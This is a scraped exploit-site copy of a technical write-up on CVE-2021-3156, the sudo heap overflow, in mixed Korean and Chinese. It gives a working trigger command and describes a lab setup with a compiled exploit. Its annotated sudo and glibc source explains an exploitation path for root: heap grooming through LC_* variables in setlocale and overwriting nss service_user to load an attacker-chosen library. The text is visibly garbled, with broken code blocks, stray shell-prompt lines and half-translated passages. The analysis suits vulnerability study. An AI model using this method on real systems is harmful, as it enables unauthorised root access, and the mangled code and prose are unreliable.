Sploitus

Exploit for CVE-2021-3156

kitploit · 2026-08-25

Exploit Code

MARKDOWN1018 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CHENAOTIAN-CVE-2021-3156
# CVE-2021-3156

[toc]

## 취약점 개요

취약점 번호: CVE-2021-3156

취약점 점수:

취약점 제품: linux sudo

영향 범위: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1

이용 조건: linux 로컬; sudo가 suid이고 실행 가능해야 함

이용 효과: 로컬 권한 상승

소스 코드 획득: https://www.sudo.ws/getting/source/

## 환경 구축

docker 환경: chenaotian/cve-2021-3156

제가 직접 구축한 docker는 다음을 제공합니다:

  1. 직접 컴파일한 소스 코드 디버깅 가능한 sudo
  2. 디버그 심볼이 있는 glibc
  3. gdb 및 gdb 플러그인 pwngdb & pwndbg
  4. exp.c 및 컴파일된 exp



모든 것은 /root 디렉토리에 있습니다:

image-20220124223312224

  * exp 디렉토리는 exp 코드와 컴파일된 파일이 있는 디렉토리이며, 해당 docker에서 바로 실행할 수 있습니다.
  * glibc-2.27은 이 환경의 libc 버전 소스 코드 디렉토리입니다.
  * sudo-1.8.21은 이 환경의 sudo 소스 코드 디렉토리이며, 저는 이것으로 컴파일했습니다.



테스트 exp:``` cd exp su test ./exp whoami

root@kitploit:~
    
    
    调试相关的内容见后文[一些调试命令](#一些调试命令)
    
    
    ## 취약점 원리
    
    취약점 트리거 payload```shell
    sudoedit -s '\' `python3 -c "print('A'*80)"`
    

소스 코드 분석(sudo-1.8.21): 먼저 sudo.c의 main 함수(sudo.c: 133):```c int main(int argc, char *argv[], char *envp[]) { int nargc, ok, status = 0; char **nargv, **env_add; char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings *settings; struct plugin_container *plugin, *next; sigset_t mask; debug_decl_vars(main, SUDO_DEBUG_MAIN)

root@kitploit:~
    
    
    ··· ···
    ··· ···
    
    /* Parse command line arguments. */
    //在这里处理输入参数,设置sudo_mode
    sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
    
    ··· ···
    ··· ···
        
    switch (sudo_mode & MODE_MASK) {
    ··· ···
    ··· ···
    case MODE_EDIT:
    case MODE_RUN:
        ok = policy_check(&policy_plugin, nargc, nargv, env_add,
    	&command_info, &argv_out, &user_env_out);
        ··· ···
        ··· ···
    }
    
    ··· ···
    ··· ···
    

}

root@kitploit:~
    
    
    - 먼저 `parse_args` 함수를 호출하여 입력한 인수를 처리합니다. 사실 여기서는 `-s` 하나만 입력했을 뿐 설정할 것이 없으며, `sudo_mode`를 `MODE_EDIT` 및 `MODE_SHELL`로 설정합니다.
    
    - 그런 다음 `sudo_mode`에 따라, `MODE_EDIT`은 `policy_check`를 호출합니다.
    
    다음은 `sudo.c`의 `policy_check` 함수입니다(sudo.c: 1136):```c
    static int
    policy_check(struct plugin_container *plugin, int argc, char * const argv[],
        char *env_add[], char **command_info[], char **argv_out[],
        char **user_env_out[])
    {
        ··· ···
        ··· ···
        ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
    	argv_out, user_env_out);
        ···
    }
    

콜백 함수 `plugin->u.policy->check_policy`가 호출되었습니다. 이 함수의 실제 함수를 디버깅하여 확인할 수 있습니다:

image-20220123113326096

호출되는 것은 policy.c의 sudoers_policy_check 함수입니다(policy.c: 760):```c static int sudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[]) { ··· ···

root@kitploit:~
    
    
    exec_args.argv = argv_out;
    exec_args.envp = user_env_out;
    exec_args.info = command_infop;
    
    ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
    ··· ···
    ··· ···
    

}

root@kitploit:~
    
    
    그런 다음 sudoers.c의 sudoers_policy_main 함수를 호출했습니다(sudoers.c: 224):```c
    int
    sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
        void *closure)
    {
        ··· ···
        ··· ···
    
        /*
         * Make a local copy of argc/argv, with special handling
         * for pseudo-commands and the '-i' option.
         */
        if (argc == 0) {
    	··· ···
        } else {
    	/* Must leave an extra slot before NewArgv for bash's --login */
    	NewArgc = argc;
    	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
    	··· ···
    	}
    	memcpy(++NewArgv, argv, argc * sizeof(char *));
    	NewArgv[NewArgc] = NULL;
    	··· ···
    	}
        }
    	··· ···
        cmnd_status = set_cmnd();
        ··· ···
        ··· ···
        ··· ···
    }
    

여기에 일부 전역 변수인 NewArgc와 NewArgv가 설정되어 있습니다. 아래와 같으며, 실제로는 전달된 매개변수입니다.

image-20220123113819116

이후 sudoers.c의 set_cmnd 함수(sudoers.c: 796)로 진입합니다.```c static int set_cmnd(void) { ··· ··· ··· ···

root@kitploit:~
    
    
    /* set user_args */
    if (NewArgc > 1) {
        char *to, *from, **av;
        size_t size, n;
    
        /* Alloc and build up user_args. */
        //根据参数总长度计算size, 后续malloc 申请,没有问题
        for (size = 0, av = NewArgv + 1; *av; av++)
    	size += strlen(*av) + 1;
        if (size == 0 || (user_args = malloc(size)) == NULL) {
    	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
    	debug_return_int(-1);
        }
        if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
    	/*
    	 * When running a command via a shell, the sudo front-end
    	 * escapes potential meta chars.  We unescape non-spaces
    	 * for sudoers matching and logging purposes.
    	 */
         //将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
         //但这里\x00 并不算空格类型字符
         //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
    	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
    	    while (*from) {
    		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
    		    from++;
    		*to++ = *from++;
    	    }
    	    *to++ = ' ';
    	}
    	*--to = '\0';
        } 
        ··· ···
    }
    }
    ··· ···
    ··· ···
    

}

root@kitploit:~
    
    
    溢出也发生在这里,根据代码中的注释可以看出,堆溢出发生在向堆中拷贝时,这段代码的原意不难理解就是将NewArgv中的所有参数都拷贝到堆中,空格分割,遇到`\+非空格类字符` 则只拷贝该字符。
    
    **但它没有考虑到一种情况就是,某个NewArgv元素是以`\` 结尾,那么就是`\+\x00` 这种结构,而`\x00` 是不属于空格类字符的(离谱),也就是说,它会将`\x00` 拷贝到堆中之后,from 变量再 ++ (一个循环中加了两次)直接过了while 判断结束标记`\x00` 的机会,而认为参数没有拷贝完而继续向后拷贝,直到遇到下一个`\x00` 为止。**
    
    在该场景下可以看到 `\+\x00` 后面紧跟着就是下一个参数 `A*80` 所以会继续拷贝到`A*80` 的结尾。但别忘了接下来还会继续真正处理`A*80` 这个参数,还会再拷贝一遍,所以这里总共对`A*80` 进行了两次拷贝,但chunk 的申请时按照只有一个 `A*80` 字符串的大小申请的,远远超过了chunk 申请的长度。
    
    image-20220123113907744
    
    然后造成溢出,拷贝前:
    
    image-20220123114036691
    
    拷贝后:
    
    image-20220123114137794
    
    总体漏洞触发路径为(调试的时候直接根据这几个函数下断点即可):
    
    - sudo.c : main
      - sudo.c : policy_check
        - policy.c : sudoerrs_policy_check
          - sudoers.c : sudoers_policy_main
            - sudoers.c : set_cmnd
              - sudoers.c : 859
    
    ## 漏洞利用原理
    
    参考了 [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156) ,**但他的堆布局方式可遇不可求,这里详细分析了堆布局方法**。通过传入环境变量 `LC_*` 来布局堆,然后让溢出的chunk 正好覆盖到 nss_load_library 函数需要加载so 的结构体 service_user,覆盖该结构体中的so 名字符串,然后让程序加载我们指定的so来完成任意代码执行。
    
    虽然逻辑看起来挺清晰,但需要搞定的细节还是比较麻烦的:
    
    1. nss_load_library 中相关数据结构和机制
    2. setlocale 如何通过环境变量`LC_*` 进行堆布局
    
    接下来我们将漏洞发生出可以溢出的chunk 称之为vuln chunk,而将溢出的目标称为target chunk
    
    ### nss 原理
    
    首先查看漏洞利用关键代码:
    
    glibc/nss/nsswitch.c: 377 nss_load_library()```c
    static int
    nss_load_library (service_user *ni)
    {
      if (ni->library == NULL)
        {
          static name_database default_table;
          ni->library = nss_new_service (service_table ?: &default_table,
    				     ni->name);
          if (ni->library == NULL)
    	return -1;
        }
    
      if (ni->library->lib_handle == NULL)
        {
          ··· ···
          __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
    					      "libnss_"),
    				    ni->name),
    			  ".so"),
    		__nss_shlib_revision);
    
          ni->library->lib_handle = __libc_dlopen (shlib_name);
          ··· ···
          ··· ···
      }
    }
    

ni는 힙 위의 service_user 구조체입니다. `ni->library->lib_handle`이 NULL일 때 `__libc_dlopen`이 호출되어 so를 로드합니다. 우리가 ni가 있는 힙 청크로 오버플로우할 수 있다면, library를 0으로 덮어쓰기만 하면 됩니다. 첫 번째 분기에서 library가 NULL이면 초기화되지 않은 것을 의미하며, `nss_new_service`가 호출되어 library를 초기화하고, 막 초기화된 handle은 반드시 NULL이기 때문입니다.

ok, 취약점 활용의 핵심 트리거 포인트를 알았으니, 이제 nss의 메커니즘에 대해 알아보겠습니다.

먼저 /etc/ 디렉토리 아래에 /etc/nsswitch.conf 파일이 있습니다(일반적으로 이런 모양이며, 모든 장치에서 동일하지는 않습니다):```

# /etc/nsswitch.conf

# 

# Example configuration of GNU Name Service Switch functionality.

# If you have the `glibc-doc-reference' and `info' packages installed, try:

# `info libc "Name Service Switch"' for information about this file.

passwd: compat systemd group: compat systemd shadow: compat gshadow: files

hosts: files dns networks: files

protocols: db files services: db files ethers: db files rpc: db files

netgroup: nis

root@kitploit:~
    
    
    这是一个配置文件,通过这里记录的这些途径和顺序(其实就是用哪些so)来查找方法。还可以指定某个方法奏效时或失效时系统将采取什么动作。
    
    我理解的就是,规定程序需要从哪里检索所需信息,比如用户信息、网络、地址信息等。程序中的体现就是,是从某个不同的so 中调用该函数。不同so 中的该函数实现就是检索该信息的方法。
    
    接下来看三个结构体:```c
    typedef struct service_user
    {
      /* And the link to the next entry.  */
      struct service_user *next;
      /* Action according to result.  */
      lookup_actions actions[5];
      /* Link to the underlying library object.  */
      service_library *library;
      /* Collection of known functions.  */
      void *known;
      /* Name of the service (`files', `dns', `nis', ...).  */
      char name[0];
    } service_user;
    
    typedef struct name_database_entry
    {
      /* And the link to the next entry.  */
      struct name_database_entry *next;
      /* List of service to be used.  */
      service_user *service;
      /* Name of the database.  */
      char name[0];
    } name_database_entry;
    
    typedef struct name_database
    {
      /* List of all known databases.  */
      name_database_entry *entry;
      /* List of libraries with service implementation.  */
      service_library *library;
    } name_database;
    

전역 진입점 `static name_database *service_table;` 이 있습니다. 그런 다음 `__nss_database_lookup` 함수에서 전역 진입점 `service_table ` 이 비어 있으면 `nss_parse_file` 을 호출하여 초기화를 수행합니다. 관련 코드는 다음과 같습니다.

glibc/nss/nsswitch.c : 117```c int __nss_database_lookup (const char *database, const char *alternate_name, const char *defconfig, service_user *_ni) { ··· ··· /_ Are we initialized yet? _/ if (service_table == NULL) /_ Read config file. */ service_table = nss_parse_file (_PATH_NSSWITCH_CONF); ··· ··· }

root@kitploit:~
    
    
    glibc/nss/nsswitch.c : 541```c
    static name_database *
    nss_parse_file (const char *fname)
    {
      FILE *fp;
      name_database *result;
      name_database_entry *last;
      ··· ···
      //打开/etc/nsswitch.conf
      fp = fopen (fname, "rce");
      ··· ···
      result = (name_database *) malloc (sizeof (name_database));
      ··· ···
      do
        {
          name_database_entry *this;
          ssize_t n;
          n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
          
          ··· ···
              
          this = nss_getline (line);
          if (this != NULL)
    	{
    	  if (last != NULL)
    	    last->next = this;
    	  else
    	    result->entry = this;
    
    	  last = this;
    	}
        }
      while (!feof_unlocked (fp));
    
      /* Free the buffer.  */
      free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
      /* Close configuration file.  */
      fclose (fp);
    
      return result;
    }
    

원리는 첫 번째 검색 시 전역 엔트리 `service_table`이 비어 있으면 초기화를 수행하고, `/etc/nsswitch.conf` 파일에 기록된 내용에 따라 초기화를 하여 최종 데이터 구조는 다음과 같습니다:

image-20220123134155631

여기서 모든 데이터 구조는 동일한 함수에서 한 번에 할당되며, 그림에서 보는 순서대로 할당됩니다. **따라서 일반적인 상태에서 이러한 chunk들은 서로 연결되어 있습니다.** 또한 이들의 할당은 vuln chunk 이전에 이루어집니다. (디버그 중단점 `nss_parse_file`)

이 외에도 주목할 점은 `nss_parse_file` 함수 내에 `__getline` 함수가 있으며, **이 함수는 읽어들인 내용의 길이에 따라 chunk를 할당하고, 이 chunk는 마지막에`nss_parse_file` 함수가 반환될 때 해제됩니다**. `/etc/nsswitch.conf` 파일의 내용 형식에서 가장 긴 줄은 주석이며, 이 파일을 우리가 제어할 수 없으므로, 매번 `__getline` 함수에서 할당되는 chunk 길이는 동일하며, 고정된 0x80 크기라고 간주할 수 있습니다.

따라서 우리는 이것을 다음과 같이 이해할 수 있습니다: **이는 service 연결 리스트 이전에 할당되고, service 연결 리스트 구조가 할당 완료되면 해제되며, vuln chunk가 할당되기 전까지 계속 free 상태를 유지하는 매우 귀중한 chunk입니다**. 이 작은 세부 사항을 일단 기억해 두십시오. **(제가 많은 환경을 테스트했으며, 대부분의 환경에서 이 세부 사항을 활용할 수 있습니다.)**

그렇다면 언제 `nss_load_library` 함수가 호출될까요? 디버그할 때 호출 스택을 확인해보면 됩니다:

image-20220123114256387

호출 스택에 따르면, 호스트나 사용자 정보를 조회하는 함수를 호출해야 할 때, 해당 so의 대응 함수를 찾기 위한 검색 함수들이 호출되며, 이는 곧 `/etc/nsswitch.conf`에서 생성된 service_table 데이터 구조입니다. 코드는 다음과 같습니다:

glibc/nss/XXX-lookup.c :```c int DB_LOOKUP_FCT (service_user **ni, const char *fct_name, const char *fct2_name, void **fctp) {//先搜索对应的服务 if (DATABASE_NAME_SYMBOL == NULL && __nss_database_lookup (DATABASE_NAME_STRING, ALTERNATE_NAME_STRING, DEFAULT_CONFIG, &DATABASE_NAME_SYMBOL) < 0) return -1;

*ni = DATABASE_NAME_SYMBOL; //再搜索对应so return __nss_lookup (ni, fct_name, fct2_name, fctp); } libc_hidden_def (DB_LOOKUP_FCT)

root@kitploit:~
    
    
    먼저`__nss_database_lookup`을 호출하여 전달된 `DATABASE_NAME_STRING` (내용은 passwd, group, shadow 등)에 따라 해당 service를 찾습니다: 즉 아래 그림의 빨간색 영역을 검색하여 일치하는 항목을 찾고 service 포인터를 반환합니다. 처음 검색할 때 항목이 모두 비어 있으면 초기화됩니다(앞서 언급한 대로).
    
    image-20220123133933696
    
    다음으로`__nss_lookup`을 호출하고, `__nss_lookup_function`을 반복 호출하여 service 연결 리스트에서 해당 함수가 있는 service를 검색한 후, `nss_load_library`를 호출하여 so 핸들을 획득한 다음 해당 함수를 검색합니다. 코드는 다음과 같습니다:
    
    glibc/nss/nsswitch.c : 194```c
    int
    __nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
    	      void **fctp)
    {
      *fctp = __nss_lookup_function (*ni, fct_name);
      ··· ···
      while (*fctp == NULL
    	 && nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
    	 && (*ni)->next != NULL)
        {
          *ni = (*ni)->next;
    
          *fctp = __nss_lookup_function (*ni, fct_name);
          ··· ···
        }
    
      return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
    }
    libc_hidden_def (__nss_lookup)
    

glibc/nss/nsswitch.c : 410```c void * __nss_lookup_function (service_user *ni, const char *fct_name) { ··· ···

found = __tsearch (&fct_name, &ni->known, &known_compare); ··· ···//没有搜到的一些操作省略

else { known_function *known = malloc (sizeof _known); ··· ··· else { //调用nss_load_library, 检查ni- >library->lib_handle 是否为空,为空则重新dlopen //具体nss_load_library 代码见上面 ··· ··· if (nss_load_library (ni) != 0) /_ This only happens when out of memory. */ goto remove_from_tree;

root@kitploit:~
    
    
      if (ni->library->lib_handle == (void *) -1l)
        /* Library not found => function not found.  */
        result = NULL;
      else
        {
          ··· ···
              
          /* Construct the function name.  */
          __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
    				    ni->name),
    			  "_"),
    		fct_name);
    
          /* Look up the symbol.  */
          result = __libc_dlsym (ni->library->lib_handle, name);
        }
        
        ··· ···
        ··· ···
    
    }
    ···
    

return result; } libc_hidden_def (__nss_lookup_function)

root@kitploit:~
    
    
    보면 알 수 있듯이, `libnss_xxx.so` 내의 함수가 호출되면, 해당 so가 이미 로드되었더라도 반드시 `nss_load_library`가 호출됩니다. 따라서 알려진 exp의 접근 방식에 따라, **힙 오버플로우 발생 후 처음 호출되는 libnss 관련 함수가 어떤 so에 속하는지 알아내고, 힙 레이아웃을 통해 해당 so가 속한 `service_user` 구조체를 vuln chunk 뒤에 배치하면 됩니다. 그러나 여러 환경에서 테스트한 결과, 동일한 버전이라도 직접 컴파일한 것과 배포판의 코드 구조가 다릅니다.** 여기서는 제 디버깅 환경을 사용하여 exp를 다시 분석하고 작성합니다.
    
    ### 디버깅 환경으로 돌아가기
    
    제가 직접 구축한 이 디버깅 환경(docker)은 직접 컴파일한 sudo이며, 디버깅 심볼이 있습니다. 구체적인 정보는 다음과 같습니다:```
    ubuntu 18.04 LTS
    libc-2.27
    sudo 1.8.21
    

/etc/nsswitch.conf 내용은 다음과 같습니다:

image-20220115142452318

일반적인 것과는 상당히 다르기 때문에, 남의 exp를 그대로 돌리면 당연히 통하지 않습니다. 게다가 디버깅 결과, **제 환경에서는 힙 오버플로우 이후 가장 먼저 호출되는 nss 함수는`setspent`로, 이는 `shadow`에 속한 함수입니다.** 즉, `database_entry3`의 `service_user`인 target chunk는 7번 chunk이며, vuln chunk가 7번 chunk 이전에 나타나길 원하고, 다른 번호의 chunk는 그들 사이에 끼어들지 않아야 합니다(즉, 오버플로우 시 `service_table` 구조체의 다른 chunk를 파괴하지 않아야 함).

image-20220123134335546

다음으로, 불가피하게 한 번의 작업으로 권한 상승을 위한 힙 레이아웃을 어떻게 구성할지 연구해야 합니다. 환경 변수 `LC_ALL`을 사용하여 `setlocale` 함수 내에서 힙 레이아웃을 완성하는 것으로 알려져 있습니다. 분석 결과 `setlocale`에는 매우 많은 힙 할당 및 해제 작업이 있으므로, 여기서는 우리가 조작할 수 있는 부분에 초점을 맞추겠습니다.

### `setlocale`을 사용한 힙 레이아웃

우연히 회사 내부 블로그에서 동료의 분석 블로그를 발견했는데 큰 도움이 되었습니다. 외부에서는 접근할 수 없어 링크는 생략합니다.

`setlocale`의 힙 메커니즘의 핵심은 한 문장으로 요약하면, 해제하려는 chunk 순서대로 해당 길이의 환경 변수를 입력하면 됩니다. 그러면 해제 순서와 앞뒤 관계는 보장되지만, 이러한 chunk들이 서로 밀접하게 연결되어 있지는 않습니다.

먼저 `setlocale` 소스 코드를 살펴보겠습니다:

glibc/locale/setlocale.c : 218```c char * setlocale (int category, const char *locale) { char *locale_path; size_t locale_path_len; const char *locpath_var; char *composite;

··· ···

locale_path = NULL; locale_path_len = 0;

··· ···

if (category == LC_ALL) { ··· ··· ··· ··· /* Load the new data for each category. */  
while (category-- > 0) if (category != LC_ALL) {//关键处理函数 _nl_find_locale newdata[category] = _nl_find_locale (locale_path, locale_path_len, category, &newnames[category]);

root@kitploit:~
    
    
        if (newdata[category] == NULL)
          {//返回null 则会跳出循环
    	···
    	break;
          }
    
        ··· ···
    
        /* Make a copy of locale name.  */
        if (newnames[category] != _nl_C_name)
          {
    	if (strcmp (newnames[category],
    		    _nl_global_locale.__names[category]) == 0)
    	  newnames[category] = _nl_global_locale.__names[category];
    	else
    	  {
            //这个strdup 很关键
    	    newnames[category] = __strdup (newnames[category]);
    	    if (newnames[category] == NULL)
    	      break;
    	  }
          }
      }
    
      /* Create new composite name.  */
      composite = (category >= 0
    	   ? NULL : new_composite_name (LC_ALL, newnames));
      if (composite != NULL)
    {
        ··· ···
    }
      else
    for (++category; category < __LC_LAST; ++category)//校验
      if (category != LC_ALL && newnames[category] != _nl_C_name
          && newnames[category] != _nl_global_locale.__names[category])
        //这个free 很关键,这里是一处循环free,可以集中free 一堆chunk
        free ((char *) newnames[category]);
    
      /* Critical section left.  */
      __libc_rwlock_unlock (__libc_setlocale_lock);
    
      /* Free the resources.  */
      free (locale_path);
      free (locale_copy);
    
      return composite;
    }
    
    ··· ···
    ··· ···
      
    

} libc_hidden_def (setlocale)

root@kitploit:~
    
    
    `setlocale` 함수는 일부 로케일과 관련된 복잡한 것에 관한 것으로, 관련 환경 변수 매개변수는 다음과 같습니다.```c
    #define __LC_CTYPE		 0
    #define __LC_NUMERIC		 1
    #define __LC_TIME		 2
    #define __LC_COLLATE		 3
    #define __LC_MONETARY		 4
    #define __LC_MESSAGES		 5
    #define __LC_ALL		 6
    #define __LC_PAPER		 7
    #define __LC_NAME		 8
    #define __LC_ADDRESS		 9
    #define __LC_TELEPHONE		10
    #define __LC_MEASUREMENT	11
    #define __LC_IDENTIFICATION	12
    

전달된 인수 `category`의 값에 따라 환경 변수에서 해당 인수를 찾아 작업을 수행합니다. sudo에서는 `setlocale(LC_ALL,"");`를 사용합니다. 인수가 LC_ALL로 전달되면 `LC_IDENTIFICATION`부터 시작하여 모든 변수를 순회합니다. 각각에 대해 `_nl_find_locale` 함수를 호출합니다. 이 함수는 내부가 복잡하지만 반환되는 `newnames[category]`는 실제로 해당 환경 변수의 값이며, 이후 strdup 함수를 호출하여 해당 문자열을 힙에 복사합니다. `LC_ALL`이 전달되었으므로 해당하는 문자열 배열이 생성되고, 이후 전역 변수 기본값과 한 번 검증합니다. 검증에 실패하면 해제됩니다(실패 입력을 구성하기 쉽습니다).

즉, 여기서 x번의 strdup 힙 할당과 x번의 방금 할당된 chunk 해제를 조작할 수 있습니다. 단순해 보이지만 실제로는 그렇지 않습니다. 이전 `_nl_find_locale` 함수에는 매우 많은 힙 할당 및 해제 작업이 있기 때문입니다. 여기서 strdup로 할당된 chunk는 기본적으로 `_nl_find_locale` 함수에서 해제된 chunk입니다. 힙 취약점 활용 측면에서 이후 분석이 중요하지 않을 수 있지만, 힙을 정밀하게 배치하려거나 새 환경이 까다로운 경우 `_nl_find_locale`을 분석할 필요가 있습니다:

glibc/locale/findlocale.c : 101```c struct __locale_data * _nl_find_locale (const char *locale_path, size_t locale_path_len, int category, const char *_name) { int mask; /_ Name of the locale for this category. */ const char *cloc_name = *name; const char *language; const char *modifier; const char *territory; const char *codeset; const char *normalized_codeset; struct loaded_l10nfile *locale_file;

if (cloc_name[0] == '\0') { /* The user decides which locale to use by setting environment variables. */ cloc_name = getenv ("LC_ALL"); if (!name_present (cloc_name)) cloc_name = getenv (_nl_category_names.str \+ _nl_category_name_idxs[category]); if (!name_present (cloc_name)) cloc_name = getenv ("LANG"); if (!name_present (cloc_name)) cloc_name = _nl_C_name; } ··· ··· ··· ···

/* language[_territory[.codeset]][@modifier] 根据环境变量的值来进行mask 设置,关键字为'_ ','.','@' 设置4个标志位(mask) _ 代表国家,会设置一个标志位 . 代表语言编码之类的,有大小写两种写法(如UTF-8和utf8),设置两个标志位 @ 代表用户添加的后缀,也就是自定义内容,设置一个标志位 */

mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset); if (mask == -1) /* Memory allocate problem. */ return NULL;

/* If exactly this locale was already asked for we have an entry with the complete name. */ //这次is_allocate 位为0会直接返回0 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str \+ _nl_category_name_idxs[category], 0);

if (locale_file == NULL) { /* Find status record for addressed locale file. We have to search through all directories in the locale path. _/ //_nl_make_l10nflist 之中会进行非常多的堆操作 locale_file = _nl_make_l10nflist ( &_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str \+ _nl_category_name_idxs[category], 1); if (locale_file == NULL) /_ This means we are out of core. */ return NULL; }

··· ···

if (locale_file->data == NULL) { int cnt; for (cnt = 0; locale_file->successor[cnt] != NULL; ++cnt) {//从返回的链表之中找到success 成功的结构体返回 if (locale_file->successor[cnt]->decided == 0) _nl_load_locale (locale_file->successor[cnt], category); if (locale_file->successor[cnt]->data != NULL) break; } /* Move the entry we found (or NULL) to the first place of successors. */ locale_file->successor[0] = locale_file->successor[cnt]; locale_file = locale_file->successor[cnt];

root@kitploit:~
    
    
      if (locale_file == NULL)
    return NULL;
    }
    

··· ··· ··· ···

return (struct __locale_data *) locale_file->data; }

root@kitploit:~
    
    
    在 `_nl_find_locale` 함수에서 먼저 `_nl_explode_name` 함수를 호출하여 환경 변수의 값에 따라 mask를 할당합니다 (코드의 주석에서 말한 것과 같습니다). 주로 국가, 언어, 사용자 정의 접미사 세 가지 항목이 있는지 확인하고, 있으면 해당 maks를 설정합니다. 언어는 두 개를 설정하여 총 네 개가 됩니다. 그런 다음 `_nl_make_l0nflist` 함수를 호출하면 `_nl_find_locale`이 직접 NULL을 반환하여 위의 `setlocale`의 루프 break를 트리거합니다 (매우 중요).
    
    이제 `_nl_make_l0nflist` 함수를 살펴보겠습니다:
    
    glibc/intl/l0nflist.c : 150```c
    struct loaded_l10nfile *
    _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
    		    const char *dirlist, size_t dirlist_len,
    		    int mask, const char *language, const char *territory,
    		    const char *codeset, const char *normalized_codeset,
    		    const char *modifier,
    		    const char *filename, int do_allocate)
    {
      char *abs_filename;
      struct loaded_l10nfile *last = NULL;
      struct loaded_l10nfile *retval;
      char *cp;
      size_t entries;
      int cnt;
    
      /* Allocate room for the full file name.  */
      //根据mask 的值会组成不同的文件路径,长度自然不同,根据长度申请chunk
      abs_filename = (char *) malloc (dirlist_len
    				  + strlen (language)
    				  + ((mask & XPG_TERRITORY) != 0
    				     ? strlen (territory) + 1 : 0)
    				  + ((mask & XPG_CODESET) != 0
    				     ? strlen (codeset) + 1 : 0)
    				  + ((mask & XPG_NORM_CODESET) != 0
    				     ? strlen (normalized_codeset) + 1 : 0)
    				  + ((mask & XPG_MODIFIER) != 0
    				     ? strlen (modifier) + 1 : 0)
    				  + 1 + strlen (filename) + 1);
    
      if (abs_filename == NULL)
        return NULL;
    
      retval = NULL;
      last = NULL;
    
      /* Construct file name.  */
      //根据文件名,也就是mask决定的内容进行拼接文件名
      memcpy (abs_filename, dirlist, dirlist_len);
      __argz_stringify (abs_filename, dirlist_len, ':');
      cp = abs_filename + (dirlist_len - 1);
      *cp++ = '/';
      cp = stpcpy (cp, language);
    
      if ((mask & XPG_TERRITORY) != 0)
        {
          *cp++ = '_';
          cp = stpcpy (cp, territory);
        }
      if ((mask & XPG_CODESET) != 0)
        {
          *cp++ = '.';
          cp = stpcpy (cp, codeset);
        }
      if ((mask & XPG_NORM_CODESET) != 0)
        {
          *cp++ = '.';
          cp = stpcpy (cp, normalized_codeset);
        }
      if ((mask & XPG_MODIFIER) != 0)
        {
          *cp++ = '@';
          cp = stpcpy (cp, modifier);
        }
    
      *cp++ = '/';
      stpcpy (cp, filename);
    
      ··· ···
      //如果已经已经存在同名文件,则释放刚申请的chunk
      if (retval != NULL || do_allocate == 0)
        {
          free (abs_filename);
          return retval;
        }
    
      retval = (struct loaded_l10nfile *)
        malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
    				* (1 << pop (mask))
    				* sizeof (struct loaded_l10nfile *)));
      if (retval == NULL)
        {
          free (abs_filename);
          return NULL;
        }
    
      retval->filename = abs_filename;
      /* If more than one directory is in the list this is a pseudo-entry
         which just references others.  We do not try to load data for it,
         ever.  */
      retval->decided = (__argz_count (dirlist, dirlist_len) != 1
    		     || ((mask & XPG_CODESET) != 0
    			 && (mask & XPG_NORM_CODESET) != 0));
      retval->data = NULL;
    
      if (last == NULL)
        {
          retval->next = *l10nfile_list;
          *l10nfile_list = retval;
        }
      else
        {
          retval->next = last->next;
          last->next = retval;
        }
    
      entries = 0;
      /* If the DIRLIST is a real list the RETVAL entry corresponds not to
         a real file.  So we have to use the DIRLIST separation mechanism
         of the inner loop.  */
      //这里会进行递归的搜索,根据mask 来讲所有的组合全部找到
      //每次mask 值会-1,这样遍历所有mask可能
      cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
      for (; cnt >= 0; --cnt)
        if ((cnt & ~mask) == 0)
          {
    	/* Iterate over all elements of the DIRLIST.  */
    	char *dir = NULL;
    
    	while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
    	       != NULL)
    	  retval->successor[entries++]
    	    = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
    				  language, territory, codeset,
    				  normalized_codeset, modifier, filename, 1);
          }
      retval->successor[entries] = NULL;
    
      return retval;
    }
    

비교적 중요한 두 개의 전달 인자는 `do_allocate`와 `mask`입니다. `do_allocate`는 새 메모리를 능동적으로 할당할지 여부를 나타내며, 0이면 기존 연결 리스트에서 검색합니다. 일반적으로 기존 연결 리스트가 비어 있으면 바로 반환됩니다. `do_allocate`가 0이 아니면 연결 리스트를 확장합니다.

`_nl_make_l10nflist` 함수를 한 번 호출할 때 1~2개의 청크를 할당하며, 크기는 모두 고정되어 있지 않습니다. 첫 번째 청크는 `mask`가 조합한 파일 이름의 길이에 따라 할당됩니다. 해당 파일 이름이 중복되지 않으면 두 번째 청크를 할당하는데, 이는 파일 이름을 관리하는 가변 길이 구조체입니다. 구체적인 용도는 크지 않으며, 우리가 제어할 수 없으므로 여기서는 무시합니다.

